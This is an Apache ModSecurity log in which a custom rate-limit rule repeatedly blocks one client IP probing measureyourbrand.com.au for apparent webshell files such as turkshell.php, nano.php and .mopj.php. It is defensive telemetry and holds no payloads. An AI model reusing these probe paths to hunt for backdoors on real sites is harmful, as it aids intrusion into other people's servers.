[Sun Apr 12 16:43:54.535680 2026] [:error] [pid 26600:tid 26637] [client 68.221.68.72:64717] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adtbSu1YwAZiXhQKLYoPdgAAAYg"]
[Sun Apr 12 16:43:55.381114 2026] [:error] [pid 25329:tid 25384] [client 68.221.68.72:64011] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adtbS2dcIYsS8Iyaj12W2gAAAIU"]
[Sun Apr 12 16:43:56.154568 2026] [:error] [pid 60280:tid 60288] [client 68.221.68.72:65253] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adtbTHBlLnDOYuIykkglRAAAAcY"]
[Sun Apr 12 16:43:57.110901 2026] [:error] [pid 60280:tid 60292] [client 68.221.68.72:65249] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adtbTXBlLnDOYuIykkglTAAAAco"]
[Sun Apr 12 16:43:57.785128 2026] [:error] [pid 25437:tid 25459] [client 68.221.68.72:64039] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adtbTXf97wYZje1ep_MPFQAAANQ"]
[Sun Apr 12 16:43:58.485698 2026] [:error] [pid 26600:tid 26633] [client 68.221.68.72:65250] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adtbTu1YwAZiXhQKLYoPfAAAAYQ"]
[Sun Apr 12 16:43:59.222957 2026] [:error] [pid 25329:tid 25412] [client 68.221.68.72:64829] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adtbT2dcIYsS8Iyaj12W3QAAAJU"]
[Sun Apr 12 16:43:59.816562 2026] [:error] [pid 26600:tid 26648] [client 68.221.68.72:65312] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adtbT-1YwAZiXhQKLYoPfgAAAZM"]
[Sun Apr 12 16:44:00.461348 2026] [:error] [pid 25328:tid 25385] [client 68.221.68.72:65310] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adtbUMxUaQZxT-e0YsDhPwAAAE4"]
[Sun Apr 12 16:44:02.014664 2026] [:error] [pid 26567:tid 26569] [client 68.221.68.72:64822] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adtbUnhRpg6ptWFyFx2I5gAAAQA"]
[Sun Apr 12 16:44:02.979488 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:64000] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adtbUsxUaQZxT-e0YsDhRAAAAFg"]
[Sun Apr 12 16:44:03.958692 2026] [:error] [pid 26600:tid 26638] [client 68.221.68.72:64801] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adtbU-1YwAZiXhQKLYoPhQAAAYk"]
[Sun Apr 12 16:44:04.788097 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:64014] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adtbVHBlLnDOYuIykkglVAAAAc4"]
[Sun Apr 12 16:44:06.769697 2026] [:error] [pid 26567:tid 26572] [client 68.221.68.72:65328] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adtbVnhRpg6ptWFyFx2I6AAAAQM"]
[Sun Apr 12 16:44:07.691025 2026] [:error] [pid 26600:tid 26636] [client 68.221.68.72:64752] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adtbV-1YwAZiXhQKLYoPhgAAAYc"]
[Sun Apr 12 16:44:08.278374 2026] [:error] [pid 26600:tid 26639] [client 68.221.68.72:64736] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adtbWO1YwAZiXhQKLYoPiAAAAYo"]
[Sun Apr 12 16:44:08.979129 2026] [:error] [pid 26600:tid 26649] [client 68.221.68.72:65263] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adtbWO1YwAZiXhQKLYoPiQAAAZQ"]
[Sun Apr 12 16:44:09.651299 2026] [:error] [pid 25327:tid 25341] [client 68.221.68.72:65225] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adtbWS6h2tZEVJo9JFK4KAAAAAU"]
[Sun Apr 12 16:44:10.259167 2026] [:error] [pid 25327:tid 25349] [client 68.221.68.72:63532] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adtbWi6h2tZEVJo9JFK4KgAAAA0"]
[Sun Apr 12 16:44:11.299414 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:65258] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adtbW3BlLnDOYuIykkglcgAAAcU"]
[Sun Apr 12 16:44:12.179020 2026] [:error] [pid 60280:tid 60301] [client 68.221.68.72:63476] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adtbXHBlLnDOYuIykkgldwAAAdM"]
[Sun Apr 12 16:44:12.969526 2026] [:error] [pid 25329:tid 25397] [client 68.221.68.72:65251] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adtbXGdcIYsS8Iyaj12W4gAAAIw"]
[Sun Apr 12 16:44:13.919373 2026] [:error] [pid 25437:tid 25451] [client 68.221.68.72:64802] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adtbXXf97wYZje1ep_MPJwAAAMw"]
[Sun Apr 12 16:44:14.797580 2026] [:error] [pid 60280:tid 60306] [client 68.221.68.72:64750] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adtbXnBlLnDOYuIykkglhAAAAdg"]
[Sun Apr 12 16:44:15.429828 2026] [:error] [pid 26567:tid 26574] [client 68.221.68.72:65262] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adtbX3hRpg6ptWFyFx2I8QAAAQU"]
[Sun Apr 12 16:44:15.910642 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:65291] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adtbX3BlLnDOYuIykkgliwAAAdI"]
[Sun Apr 12 16:44:16.549879 2026] [:error] [pid 60280:tid 60298] [client 68.221.68.72:64053] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adtbYHBlLnDOYuIykkgljgAAAdA"]
[Sun Apr 12 16:44:17.388113 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:64044] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adtbYXBlLnDOYuIykkglkgAAAc0"]
[Sun Apr 12 16:44:18.136965 2026] [:error] [pid 25437:tid 25439] [client 68.221.68.72:65304] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adtbYnf97wYZje1ep_MPKgAAAMA"]
[Sun Apr 12 16:44:18.734158 2026] [:error] [pid 26567:tid 26582] [client 68.221.68.72:65340] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adtbYnhRpg6ptWFyFx2I8wAAAQ0"]
[Sun Apr 12 16:44:19.715284 2026] [:error] [pid 60280:tid 60284] [client 68.221.68.72:63986] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adtbY3BlLnDOYuIykkglmQAAAcI"]
[Sun Apr 12 16:44:20.277123 2026] [:error] [pid 25329:tid 25402] [client 68.221.68.72:65245] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adtbZGdcIYsS8Iyaj12W4wAAAI8"]
[Sun Apr 12 16:44:21.483909 2026] [:error] [pid 25328:tid 25380] [client 68.221.68.72:63440] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adtbZcxUaQZxT-e0YsDhVgAAAEw"]
[Sun Apr 12 16:44:22.585039 2026] [:error] [pid 60280:tid 60299] [client 68.221.68.72:64015] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adtbZnBlLnDOYuIykkglnQAAAdE"]
[Sun Apr 12 16:44:23.497700 2026] [:error] [pid 25437:tid 25440] [client 68.221.68.72:64017] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adtbZ3f97wYZje1ep_MPMQAAAME"]
[Sun Apr 12 16:44:24.397730 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:64056] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adtbaHBlLnDOYuIykkglogAAAc0"]
[Sun Apr 12 16:44:25.127425 2026] [:error] [pid 60280:tid 60283] [client 68.221.68.72:64001] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adtbaXBlLnDOYuIykkglpwAAAcE"]
[Sun Apr 12 16:44:26.095074 2026] [:error] [pid 60280:tid 60299] [client 68.221.68.72:64704] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adtbanBlLnDOYuIykkglqAAAAdE"]
[Sun Apr 12 16:44:26.928881 2026] [:error] [pid 25329:tid 25376] [client 68.221.68.72:62893] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adtbamdcIYsS8Iyaj12W6AAAAIE"]
[Sun Apr 12 16:44:28.615588 2026] [:error] [pid 60280:tid 60286] [client 68.221.68.72:64733] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adtbbHBlLnDOYuIykkglsgAAAcQ"]
[Sun Apr 12 16:44:30.920560 2026] [:error] [pid 60280:tid 60293] [client 68.221.68.72:64730] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adtbbnBlLnDOYuIykkgluQAAAcs"]
[Sun Apr 12 16:44:39.969265 2026] [:error] [pid 26600:tid 26646] [client 68.221.68.72:64763] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adtbd-1YwAZiXhQKLYoPqQAAAZE"]
[Sun Apr 12 16:44:40.743368 2026] [:error] [pid 60280:tid 60303] [client 68.221.68.72:64047] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adtbeHBlLnDOYuIykkgl2wAAAdU"]
[Sun Apr 12 16:44:41.502074 2026] [:error] [pid 26599:tid 26617] [client 68.221.68.72:65231] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adtbeXG89LXoQbk_rwC0cAAAAU8"]
[Sun Apr 12 16:44:42.505289 2026] [:error] [pid 26567:tid 26582] [client 68.221.68.72:65316] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adtbenhRpg6ptWFyFx2I_AAAAQ0"]
[Sun Apr 12 16:44:43.396673 2026] [:error] [pid 25328:tid 25398] [client 68.221.68.72:64025] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adtbe8xUaQZxT-e0YsDhawAAAFQ"]
[Sun Apr 12 16:44:43.905306 2026] [:error] [pid 25328:tid 25405] [client 68.221.68.72:65222] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adtbe8xUaQZxT-e0YsDhbQAAAFc"]
[Sun Apr 12 16:44:44.757212 2026] [:error] [pid 26599:tid 26616] [client 68.221.68.72:65266] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adtbfHG89LXoQbk_rwC0cgAAAU4"]
[Sun Apr 12 16:44:45.892561 2026] [:error] [pid 25329:tid 25414] [client 68.221.68.72:64779] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adtbfWdcIYsS8Iyaj12W7wAAAJc"]
[Sun Apr 12 16:44:46.777520 2026] [:error] [pid 25327:tid 25343] [client 68.221.68.72:65293] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adtbfi6h2tZEVJo9JFK4MgAAAAc"]
[Sun Apr 12 16:44:47.326088 2026] [:error] [pid 26567:tid 26576] [client 68.221.68.72:64746] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adtbf3hRpg6ptWFyFx2I_QAAAQc"]
[Sun Apr 12 16:44:48.084425 2026] [:error] [pid 60280:tid 60284] [client 68.221.68.72:64707] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adtbgHBlLnDOYuIykkgl7gAAAcI"]
[Sun Apr 12 16:44:49.727378 2026] [:error] [pid 25328:tid 25364] [client 68.221.68.72:64062] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adtbgcxUaQZxT-e0YsDhewAAAEA"]
[Sun Apr 12 16:44:51.038946 2026] [:error] [pid 25328:tid 25370] [client 68.221.68.72:63513] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adtbg8xUaQZxT-e0YsDhfgAAAEY"]
[Sun Apr 12 16:44:52.069477 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:64797] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adtbhHBlLnDOYuIykkgl-AAAAc0"]
[Sun Apr 12 16:44:52.811639 2026] [:error] [pid 25328:tid 25380] [client 68.221.68.72:65286] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adtbhMxUaQZxT-e0YsDhgAAAAEw"]
